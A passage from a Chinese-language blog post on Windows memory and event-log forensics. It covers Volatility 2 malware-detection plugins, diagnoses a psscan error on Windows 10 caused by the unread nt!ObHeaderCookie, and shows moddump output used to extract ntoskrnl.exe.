Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 2529 (Event Record Id: 2529): In map for event 1100, Property /Event/UserData[@Name=&quot;ServiceShutdown&quot;] not found! Replacing with empty string</span></span><br><span class="line"></span><br><span class="line">Event log details</span><br><span class="line">Flags: IsDirty</span><br><span class="line">Chunk count: <span class="number">30</span></span><br><span class="line">Stored/Calculated CRC: B5FC0719/B5FC0719</span><br><span class="line">Earliest timestamp: <span class="number">2024</span><span class="literal">-01-31</span> <span class="number">23</span>:<span class="number">47</span>:<span class="number">41.1765022</span></span><br><span class="line">Latest timestamp:   <span class="number">2024</span><span class="literal">-02-01</span> <span class="number">19</span>:<span class="number">48</span>:<span class="number">31.0253493</span></span><br><span class="line">Total event log records found: <span class="number">246</span></span><br><span class="line"></span><br><span class="line">Records included: <span class="number">246</span> Errors: <span class="number">0</span> Events dropped: <span class="number">0</span></span><br><span class="line"></span><br><span class="line">Metrics (including dropped events)</span><br><span class="line">Event ID        Count</span><br><span class="line"><span class="number">1100</span>            <span class="number">1</span></span><br><span class="line"><span class="number">4608</span>            <span class="number">2</span></span><br><span class="line"><span class="number">4624</span>            <span class="number">58</span></span><br><span class="line"><span class="number">4625</span>            <span class="number">1</span></span><br><span class="line"><span class="number">4647</span>            <span class="number">1</span></span><br><span class="line"><span class="number">4648</span>            <span class="number">7</span></span><br><span class="line"><span class="number">4672</span>            <span class="number">51</span></span><br><span class="line"><span class="number">4688</span>            <span class="number">23</span></span><br><span class="line"><span class="number">4696</span>            <span class="number">2</span></span><br><span class="line"><span class="number">4717</span>            <span class="number">10</span></span><br><span class="line"><span class="number">4718</span>            <span class="number">9</span></span><br><span class="line"><span class="number">4720</span>            <span class="number">1</span></span><br><span class="line"><span class="number">4725</span>            <span class="number">2</span></span><br><span class="line"><span class="number">4728</span>            <span class="number">1</span></span><br><span class="line"><span class="number">4731</span>            <span class="number">11</span></span><br><span class="line"><span class="number">4732</span>            <span class="number">3</span></span><br><span class="line"><span class="number">4735</span>            <span class="number">11</span></span><br><span class="line"><span class="number">4738</span>            <span class="number">6</span></span><br><span class="line"><span class="number">4739</span>            <span class="number">1</span></span><br><span class="line"><span class="number">4797</span>            <span class="number">5</span></span><br><span class="line"><span class="number">4798</span>            <span class="number">7</span></span><br><span class="line"><span class="number">4799</span>            <span class="number">3</span></span><br><span class="line"><span class="number">4826</span>            <span class="number">2</span></span><br><span class="line"><span class="number">4902</span>            <span class="number">2</span></span><br><span class="line"><span class="number">4907</span>            <span class="number">1</span></span><br><span class="line"><span class="number">5024</span>            <span class="number">1</span></span><br><span class="line"><span class="number">5033</span>            <span class="number">1</span></span><br><span class="line"><span class="number">5379</span>            <span class="number">23</span></span><br><span class="line"></span><br><span class="line">Processed <span class="number">1</span> file <span class="keyword">in</span> <span class="number">1.8517</span> seconds</span><br></pre></td></tr></table></figure><p>之後就可以用Timeline Explorer 或其他可以開 csv 的軟體去做想要的Event ID查詢或者字串的搜尋。</p><p><img src="/assets/M9NLjmdw8XqYgsflY7NZPbn3tEQ6x0CqxY7Zf7XbbPU=.png"></p><h4 id="Malware-Detection"><a href="#Malware-Detection" class="headerlink" title="Malware Detection"></a>Malware Detection</h4><table><thead><tr><th>分析項目</th><th>插件</th><th>命令行</th></tr></thead><tbody><tr><td>檢查程序注入</td><td>malfind</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 malfind</code></td></tr><tr><td>Hook檢測</td><td>apihooks</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 apihooks</code></td></tr><tr><td>SSDT Hook檢測</td><td>ssdt</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 ssdt</code></td></tr><tr><td>驅動程式掃描</td><td>driverscan</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 driverscan</code></td></tr></tbody></table><h3 id="Cookie"><a href="#Cookie" class="headerlink" title="Cookie"></a>Cookie</h3><p>如果你在 Win10 的記憶體 dump 使用 Volatility 2 的 psscan 時，有可能會出現以下的錯誤</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">$ vol<span class="selector-class">.py</span> -f MemoryDump<span class="selector-class">.mem</span> <span class="attr">--profile</span>=Win10x64_19041 psscan</span><br><span class="line"></span><br><span class="line">Volatility Foundation Volatility Framework <span class="number">2.6</span>.<span class="number">1</span></span><br><span class="line"><span class="function"><span class="title">Offset</span><span class="params">(P)</span></span>          Name                PID   PPID PDB                Time created                   Time exited</span><br><span class="line">------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------</span><br><span class="line">WARNING : volatility<span class="selector-class">.debug</span>    : Cannot find nt!ObGetObjectType</span><br><span class="line">WARNING : volatility<span class="selector-class">.debug</span>    : Cannot find nt!ObGetObjectType</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;/usr/local/bin/vol.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">192</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">    <span class="selector-tag">main</span>()</span><br><span class="line">  File <span class="string">&quot;/usr/local/bin/vol.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">183</span>, <span class="keyword">in</span> <span class="selector-tag">main</span></span><br><span class="line">    command<span class="selector-class">.execute</span>()</span><br><span class="line">  File <span class="string">&quot;/usr/local/lib/python2.7/dist-packages/volatility/commands.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">147</span>, <span class="keyword">in</span> execute</span><br><span class="line">    <span class="built_in">func</span>(outfd, data)</span><br><span class="line">  File <span class="string">&quot;/usr/local/lib/python2.7/dist-packages/volatility/plugins/filescan.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">428</span>, <span class="keyword">in</span> render_text</span><br><span class="line">    <span class="keyword">for</span> eprocess <span class="keyword">in</span> data:</span><br><span class="line">  File <span class="string">&quot;/usr/local/lib/python2.7/dist-packages/volatility/poolscan.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">252</span>, <span class="keyword">in</span> scan</span><br><span class="line">    skip_type_check = skip_type_check)</span><br><span class="line">  File <span class="string">&quot;/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/windows.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">1258</span>, <span class="keyword">in</span> get_object</span><br><span class="line">    return self<span class="selector-class">.get_object_top_down</span>(struct_name, object_type, skip_type_check)</span><br><span class="line">  File <span class="string">&quot;/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/windows.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">1231</span>, <span class="keyword">in</span> get_object_top_down</span><br><span class="line">    <span class="selector-tag">header</span><span class="selector-class">.get_object_type</span>() == object_type):</span><br><span class="line">  File <span class="string">&quot;/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/win7.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">155</span>, <span class="keyword">in</span> get_object_type</span><br><span class="line">    return self<span class="selector-class">.type_map</span><span class="selector-class">.get</span>(<span class="built_in">int</span>(self.TypeIndex), <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">  File <span class="string">&quot;/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/win10.py&quot;</span>, <span class="selector-tag">line</span> <span class="number">334</span>, <span class="keyword">in</span> TypeIndex</span><br><span class="line">    return ((addr &gt;&gt; <span class="number">8</span>) ^ cook ^ indx) &amp; <span class="number">0</span>xFF</span><br><span class="line">TypeError: unsupported operand <span class="built_in">type</span>(s) <span class="keyword">for</span> ^: <span class="string">&#x27;int&#x27;</span> and <span class="string">&#x27;NoneType&#x27;</span></span><br></pre></td></tr></table></figure><p>這個錯誤是因為win10.py 中在執行時在<code>return ((addr &gt;&gt; 8) ^ cook ^ indx) &amp; 0xFF</code>這段程式出現了 NoneType 的變數。</p><h4 id="nt-ObGetObjectType-是什麼？"><a href="#nt-ObGetObjectType-是什麼？" class="headerlink" title="nt!ObGetObjectType 是什麼？"></a>nt!ObGetObjectType 是什麼？</h4><p>根據<a href="https://medium.com/%40ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a">這篇文章</a>的分析，可以知道說 Win 10 的 TypeInde&#x78;<strong>&#x20;</strong>&#x88AB;混淆過，並且是根據</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Index</span> = TypeIndex<span class="regexp"> ^</span> 2nd least significate byte of OBJECT_HEADER address<span class="regexp"> ^</span> nt!ObHeaderCookie</span><br></pre></td></tr></table></figure><p>這樣的公式進行混淆，nt!ObGetObjectType 的功用就是將TypeIndex 進行解混淆並回傳解混淆的TypeIndex。</p><p>因為 Volatility 2 是開源的，可以去看一下 win10.py 的<a href="https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/overlays/windows/win10.py">sourcecode</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">_OBJECT_HEADER_10</span>(win8._OBJECT_HEADER):</span><br><span class="line">        </span><br><span class="line"><span class="meta">    @property</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">TypeIndex</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Wrap the TypeIndex member with a property that decodes it </span></span><br><span class="line"><span class="string">        with the nt!ObHeaderCookie value.&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        cook = obj.VolMagic(<span class="variable language_">self</span>.obj_vm).ObHeaderCookie.v()</span><br><span class="line">        addr = <span class="variable language_">self</span>.obj_offset </span><br><span class="line">        indx = <span class="built_in">int</span>(<span class="variable language_">self</span>.m(<span class="string">&quot;TypeIndex&quot;</span>))</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> ((addr &gt;&gt; <span class="number">8</span>) ^ cook ^ indx) &amp; <span class="number">0xFF</span></span><br></pre></td></tr></table></figure><p>這邊就可以明顯的看到這三個變數分別代表什麼，並且利用這三個變數解混淆</p><ul><li>addr : OBJECT_HEADER_address</li><li>cook : nt!ObHeaderCookie 讀出的cookie 值，Windows 10 是每次開機隨機生成的</li><li>indx : 混淆過後的TypeIndex</li></ul><p>那這邊就是因為 Volatlity2 讀不到 nt!ObHeaderCookie，因此 cook 會是NoneType ， 而如果你有在Volatility 2下過 <code>-h</code> 有可能會看過可以下<code>--cookie</code>。</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">$ vol.py -h</span><br><span class="line"></span><br><span class="line">Volatility Foundation Volatility Framework 2.6.1</span><br><span class="line">Usage: Volatility - A memory forensics analysis platform.</span><br><span class="line"></span><br><span class="line">Options:</span><br><span class="line">  -h, --help            list all available options <span class="keyword">and</span> their<span class="built_in"> default </span>values.</span><br><span class="line">                       <span class="built_in"> Default </span>values may be <span class="built_in">set</span> <span class="keyword">in</span> the configuration file</span><br><span class="line">                        (/etc/volatilityrc)</span><br><span class="line">  <span class="attribute">--conf-file</span>=/home/yunshiuan/.volatilityrc</span><br><span class="line">                       <span class="built_in"> User </span>based configuration file</span><br><span class="line">  -d, --<span class="built_in">debug</span>           <span class="built_in">Debug</span> volatility</span><br><span class="line">  <span class="attribute">--plugins</span>=PLUGINS     Additional plugin directories <span class="keyword">to</span> use (colon separated)</span><br><span class="line">  --<span class="built_in">info</span>                <span class="built_in">Print</span> information about all registered objects</span><br><span class="line">  <span class="attribute">--cache-directory</span>=/home/yunshiuan/.cache/volatility</span><br><span class="line">                        Directory where cache files are stored</span><br><span class="line">  --cache               Use caching</span><br><span class="line">  <span class="attribute">--tz</span>=TZ               Sets the (Olson) timezone <span class="keyword">for</span> displaying timestamps</span><br><span class="line">                        using pytz (<span class="keyword">if</span> installed) <span class="keyword">or</span> tzset</span><br><span class="line">  -f FILENAME, <span class="attribute">--filename</span>=FILENAME</span><br><span class="line">                        Filename <span class="keyword">to</span> use when opening an image</span><br><span class="line">  <span class="attribute">--profile</span>=WinXPSP2x86</span><br><span class="line">                        Name of the<span class="built_in"> profile </span><span class="keyword">to</span> load (use --<span class="built_in">info</span> <span class="keyword">to</span> see a list</span><br><span class="line">                        of supported profiles)</span><br><span class="line">  -l LOCATION, <span class="attribute">--location</span>=LOCATION</span><br><span class="line">                        A URN location <span class="keyword">from</span> which <span class="keyword">to</span> load an<span class="built_in"> address </span>space</span><br><span class="line">  -w, --write           <span class="built_in">Enable</span> write support</span><br><span class="line">  <span class="attribute">--dtb</span>=DTB             DTB<span class="built_in"> Address</span></span><br><span class="line"><span class="built_in"></span>  <span class="attribute">--shift</span>=SHIFT         Mac KASLR shift<span class="built_in"> address</span></span><br><span class="line"><span class="built_in"></span>  <span class="attribute">--output</span>=text         Output <span class="keyword">in</span> this format (support is module specific, see</span><br><span class="line">                        the Module Output Options below)</span><br><span class="line">  <span class="attribute">--output-file</span>=OUTPUT_FILE</span><br><span class="line">                        Write output <span class="keyword">in</span> this file</span><br><span class="line">  -v, --verbose         Verbose information</span><br><span class="line">  <span class="attribute">--physical_shift</span>=PHYSICAL_SHIFT</span><br><span class="line">                        Linux kernel physical shift<span class="built_in"> address</span></span><br><span class="line"><span class="built_in"></span>  <span class="attribute">--virtual_shift</span>=VIRTUAL_SHIFT</span><br><span class="line">                        Linux kernel virtual shift<span class="built_in"> address</span></span><br><span class="line"><span class="built_in"></span>  -g KDBG, <span class="attribute">--kdbg</span>=KDBG  Specify a KDBG virtual<span class="built_in"> address </span>(Note: <span class="keyword">for</span> 64-bit</span><br><span class="line">                        Windows 8 <span class="keyword">and</span> above this is the<span class="built_in"> address </span>of</span><br><span class="line">                        KdCopyDataBlock)</span><br><span class="line">  --force               Force utilization of suspect<span class="built_in"> profile</span></span><br><span class="line"><span class="built_in"></span>  -k KPCR, <span class="attribute">--kpcr</span>=KPCR  Specify a specific KPCR<span class="built_in"> address</span></span><br><span class="line"><span class="built_in"></span>  <span class="attribute">--cookie</span>=COOKIE       Specify the<span class="built_in"> address </span>of nt!ObHeaderCookie (valid <span class="keyword">for</span></span><br><span class="line">                        Windows 10 only)</span><br></pre></td></tr></table></figure><p>那這個就是讓我們放 nt!ObHeaderCookie 的 address 給 Volatility 2 ， 因此接下來只要獲取到nt!ObHeaderCookie 位置的 cookie 應該就可以解決這個問題了。而 nt!ObHeaderCookie 在 ntoskrnl.exe 中可以找到。</p><p>因此我們現在要把memory 中的ntoskrnl.exe dump出來，volatility 2 有一個很猛的 <code>moddump</code> Plugin ，他可以將 Kernel Driver 全部 dump 出來</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br></pre></td><td class="code"><pre><span class="line">$ vol.py -f MemoryDump.mem --profile=Win10x64_19041 moddump --dump-dir ./</span><br><span class="line"></span><br><span class="line">Volatility Foundation Volatility Framework 2.6.1</span><br><span class="line">Module Base        Module Name          Result</span><br><span class="line">------------------ -------------------- ------</span><br><span class="line">0xfffff8076221a000 ntoskrnl.exe         OK: driver.fffff8076221a000.sys</span><br><span class="line">0xfffff80762070000 hal.dll              OK: driver.fffff80762070000.sys</span><br><span class="line">0xfffff80767340000 ucx01000.sys         OK: driver.fffff80767340000.sys</span><br><span class="line">0xfffff80764530000 NETIO.SYS            OK: driver.fffff80764530000.sys</span><br><span class="line">0xfffff80767570000 UsbHub3.sys          OK: driver.fffff80767570000.sys</span><br><span class="line">0xfffff80767020000 USBPORT.SYS          OK: driver.fffff80767020000.sys</span><br><span class="line">0xfffff80767db0000 vm3dmp.sys           OK: driver.fffff80767db0000.sys</span><br><span class="line">0xfffff807643c0000 ndis.sys             OK: driver.fffff807643c0000.sys</span><br><span class="line">0xfffff807679d0000 cldflt.sys           OK: driver.fffff807679d0000.sys</span><br><span class="line">0xfffff80767a80000 bindflt.sys          OK: driver.fffff80767a80000.sys</span><br><span class="line">0xfffff80763fe0000 EhStorClass.sys      OK: driver.fffff80763fe0000.sys</span><br><span class="line">0xfffff807635f0000 CI.dll               OK: driver.fffff807635f0000.sys</span><br><span class="line">0xfffff80763c00000 pdc.sys              OK: driver.fffff80763c00000.sys</span><br><span class="line">0xfffff80767af0000 rspndr.sys           OK: driver.fffff80767af0000.sys</span><br><span class="line">0xfffff80767210000 e1i65x64.sys         OK: driver.fffff80767210000.sys</span><br><span class="line">0xfffff80763e00000 vsock.sys            OK: driver.fffff80763e00000.sys</span><br><span class="line">0xfffff80767440000 rdpbus.sys           OK: driver.fffff80767440000.sys</span><br><span class="line">0xfffff80774a50000 tcpipreg.sys         OK: driver.fffff80774a50000.sys</span><br><span class="line">0xfffff8077a5f0000 ad_driver.10.sys     OK: driver.fffff8077a5f0000.sys</span><br><span class="line">0xfffff80765670000 cdrom.sys            OK: driver.fffff80765670000.sys</span><br><span class="line">0xfffff80774c80000 mpsdrv.sys           OK: driver.fffff80774c80000.sys</span><br><span class="line">0xfffff80763eb0000 storahci.sys         OK: driver.fffff80763eb0000.sys</span><br><span class="line">0xfffff8077a4c0000 condrv.sys           OK: driver.fffff8077a4c0000.sys</span><br><span class="line">0xfffff80765ad0000 watchdog.sys         OK: driver.fffff80765ad0000.sys</span><br><span class="line">0xfffff807656f0000 Beep.SYS             OK: driver.fffff807656f0000.sys</span><br><span class="line">0xfffff80764b70000 mup.sys              OK: driver.fffff80764b70000.sys</span><br><span class="line">0xfffff80767d90000 serenum.sys          OK: driver.fffff80767d90000.sys</span><br><span class="line">0xfffff80763b50000 msisadrv.sys         OK: driver.fffff80763b50000.sys</span><br><span class="line">0xfffff80762160000 FLTMGR.SYS           OK: driver.fffff80762160000.sys</span><br><span class="line">0xfffff80767390000 vmgencounter.sys     OK: driver.fffff80767390000.sys</span><br><span class="line">0xfffff80763fb0000 stornvme.sys         OK: driver.fffff80763fb0000.sys</span><br><span class="line">0xfffff807635c0000 werkernel.sys        OK: driver.fffff807635c0000.sys</span><br><span class="line">0xfffff80765720000 dxgkrnl.sys          OK: driver.fffff80765720000.sys</span><br><span class="line">0xfffff807637f0000 WMILIB.SYS           OK: driver.fffff807637f0000.sys</span><br><span class="line">0xfffff80763d90000 volmgrx.sys          Error: Cannot acquire AS</span><br><span class="line">0xfffff80774a20000 Ndu.sys              OK: driver.fffff80774a20000.sys</span><br><span class="line">0xfffff80763ef0000 storport.sys         OK: driver.fffff80763ef0000.sys</span><br><span class="line">0xfffff80767990000 wcifs.sys            OK: driver.fffff80767990000.sys</span><br><span class="line">0xfffff80763c50000 partmgr.sys          OK: driver.fffff80763c50000.sys</span><br><span class="line">0xfffff80767870000 dxgmms2.sys          OK: driver.fffff80767870000.sys</span><br><span class="line">0xfffff80766e80000 kdnic.sys            OK: driver.fffff80766e80000.sys</span><br><span class="line">0xfffff80767b70000 peauth.sys           OK: driver.fffff80767b70000.sys</span><br><span class="line">0xfffff80764aa0000 volsnap.sys          OK: driver.fffff80764aa0000.sys</span><br><span class="line">0xfffff80763b10000 IntelTA.sys          OK: driver.fffff80763b10000.sys</span><br><span class="line">0xfffff807676c0000 HIDPARSE.SYS         OK: driver.fffff807676c0000.sys</span><br><span class="line">0xfffff80767cd0000 umbus.sys            OK: driver.fffff80767cd0000.sys</span><br><span class="line">0xfffff80767720000 dump_storport.sys    OK: driver.fffff80767720000.sys</span><br><span class="line">0xfffff807673b0000 BATTC.SYS            OK: driver.fffff807673b0000.sys</span><br><span class="line">0xfffff80766da0000 dfsc.sys             OK: driver.fffff80766da0000.sys</span><br><span class="line">0xfffff80763b20000 WindowsTr...roxy.sys OK: driver.fffff80763b20000.sys</span><br><span class="line">0xfffff80764b10000 rdyboost.sys         OK: driver.fffff80764b10000.sys</span><br><span class="line">0xfffff80763d50000 PCIIDEX.SYS          OK: driver.fffff80763d50000.sys</span><br><span class="line">0xfffff80766f80000 afunix.sys           OK: driver.fffff80766f80000.sys</span><br><span class="line">0xfffff80767da0000 vm3dmp_loader.sys    OK: driver.fffff80767da0000.sys</span><br><span class="line">0xfffff80764ba0000 iorate.sys           OK: driver.fffff80764ba0000.sys</span><br><span class="line">0xfffff80767420000 NdisVirtualBus.sys   OK: driver.fffff80767420000.sys</span><br><span class="line">0xfffff80766dd0000 CompositeBus.sys     OK: driver.fffff80766dd0000.sys</span><br><span class="line">0xfffff80774a00000 mmcss.sys            OK: driver.fffff80774a00000.sys</span><br><span class="line">0xfffff80764000000 fileinfo.sys         OK: driver.fffff80764000000.sys</span><br><span class="line">0xfffff80764610000 tcpip.sys            OK: driver.fffff80764610000.sys</span><br><span class="line">0xfffff807637a0000 WDFLDR.SYS           OK: driver.fffff807637a0000.sys</span><br><span class="line">0xfffff80766c20000 rdbss.sys            OK: driver.fffff80766c20000.sys</span><br><span class="line">0xfffff80762080000 kdcom.dll            OK: driver.fffff80762080000.sys</span><br><span class="line">0xfffff80766ca0000 csc.sys              OK: driver.fffff80766ca0000.sys</span><br><span class="line">0xfffffb54a32b0000 win32k.sys           Error: Cannot acquire AS</span><br><span class="line">0xfffff807674e0000 USBD.SYS             OK: driver.fffff807674e0000.sys</span><br><span class="line">0xfffffb54a2c00000 win32kbase.sys       OK: driver.fffffb54a2c00000.sys</span><br><span class="line">0xfffff80763af0000 WindowsTrustedRT.sys OK: driver.fffff80763af0000.sys</span><br><span class="line">0xfffff80774ca0000 mrxsmb.sys           OK: driver.fffff80774ca0000.sys</span><br><span class="line">0xfffff80767d20000 kbdclass.sys         OK: driver.fffff80767d20000.sys</span><br><span class="line">0xfffff80766d40000 nsiproxy.sys         OK: driver.fffff80766d40000.sys</span><br><span class="line">0xfffff80767560000 ksthunk.sys          OK: driver.fffff80767560000.sys</span><br><span class="line">0xfffff80765b70000 crashdmp.sys         OK: driver.fffff80765b70000.sys</span><br><span class="line">0xfffff80763b30000 pcw.sys              OK: driver.fffff80763b30000.sys</span><br><span class="line">0xfffff807643b0000 Fs_Rec.sys           Error: Cannot acquire AS</span><br><span class="line">0xfffff807649c0000 fvevol.sys           OK: driver.fffff807649c0000.sys</span><br><span class="line">0xfffff807635e0000 ntosext.sys          OK: driver.fffff807635e0000.sys</span><br><span class="line">0xfffff80764c00000 CLASSPNP.SYS         OK: driver.fffff80764c00000.sys</span><br><span class="line">0xfffff80766bf0000 winhvr.sys           OK: driver.fffff80766bf0000.sys</span><br><span class="line">0xfffff80762130000 PSHED.dll            OK: driver.fffff80762130000.sys</span><br><span class="line">0xfffff80763e20000 vmci.sys             OK: driver.fffff80763e20000.sys</span><br><span class="line">0xfffff80767430000 swenum.sys           OK: driver.fffff80767430000.sys</span><br><span class="line">0xfffff80767660000 hidusb.sys           OK: driver.fffff80767660000.sys</span><br><span class="line">0xfffff80766b20000 netbios.sys          OK: driver.fffff80766b20000.sys</span><br><span class="line">0xfffff80766ea0000 CimFS.SYS            OK: driver.fffff80766ea0000.sys</span><br><span class="line">0xfffff80774ac0000 HTTP.sys             OK: driver.fffff80774ac0000.sys</span><br><span class="line">0xfffff80767ab0000 lltdio.sys           OK: driver.fffff80767ab0000.sys</span><br><span class="line">0xfffff807670d0000 portcls.sys          OK: driver.fffff807670d0000.sys</span><br><span class="line">0xfffff807656e0000 Null.SYS             Error: Cannot acquire AS</span><br><span class="line">0xfffff80767cf0000 i8042prt.sys         OK: driver.fffff80767cf0000.sys</span><br><span class="line">0xfffff80763910000 mssecflt.sys         OK: driver.fffff80763910000.sys</span><br><span class="line">0xfffff80766f20000 netbt.sys            OK: driver.fffff80766f20000.sys</span><br><span class="line">0xfffff80766b40000 Vid.sys              OK: driver.fffff80766b40000.sys</span><br><span class="line">0xfffff80762150000 BOOTVID.dll          OK: driver.fffff80762150000.sys</span><br><span class="line">0xfffff80767760000 dump_stornvme.sys    OK: driver.fffff80767760000.sys</span><br><span class="line">0xfffff80763d70000 volmgr.sys           OK: driver.fffff80763d70000.sys</span><br><span class="line">0xfffff80763990000 ACPI.sys             OK: driver.fffff80763990000.sys</span><br><span class="line">0xfffff807636e0000 